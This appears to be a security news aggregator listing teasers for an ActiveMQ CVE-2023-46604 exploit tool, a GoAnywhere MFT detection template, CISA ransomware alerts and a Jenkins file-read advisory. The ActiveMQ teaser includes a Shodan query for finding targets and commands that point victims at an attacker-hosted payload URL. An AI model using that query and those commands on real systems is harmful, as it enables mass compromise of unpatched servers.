CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询： root@kitploit: product:"ActiveMQ" port:"61616" 工具使用方法： root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml...

fortra-goanywhere-mft-vulnerability-detection

Fortra GoAnywhere MFT 漏洞检测 用于检测 Fortra GoAnywhere MFT 漏洞的 Nuclei 模板。 由@rxerium 创建 概述 适用于 Fortra GoAnywhere 托管文件传输 MFT 的 CVE 检测模板，涵盖多个被勒索软件组织利用的 CISA KEV 漏洞。 统计 ：1 个 CVE（2021）+ 1 个 CVE（2023）+ 1 个 CVE（2024）+ 1 个 CVE（2025）= 4 个模板 （2 个 CISA KEV） 使用方法 root@kitploit: Scan a single target nuclei -t...

Ransomware Gangs Exploit Unpatched SimpleHelp Flaws to Target Victims with Double Extortion

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Thursday disclosed that ransomware actors are targeting unpatched SimpleHelp Remote Monitoring and Management RMM instances to compromise customers of an unnamed utility billing software provider. "This incident reflects a broader...

CISA Warning: Akira Ransomware Exploiting Cisco ASA/FTD Vulnerability

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Thursday added a now-patched security flaw impacting Cisco Adaptive Security Appliance ASA and Firepower Threat Defense FTD software to its Known Exploited Vulnerabilities KEV catalog, following reports that it's being likely...

PT-2023-8445

Name of the Vulnerable Software and Affected Versions: Jenkins versions 2.441 and earlier, including LTS 2.426.2 and earlier. Description: Jenkins is vulnerable to an arbitrary file read vulnerability through its command line interface CLI. This flaw stems from the args4j library's expandAtFiles...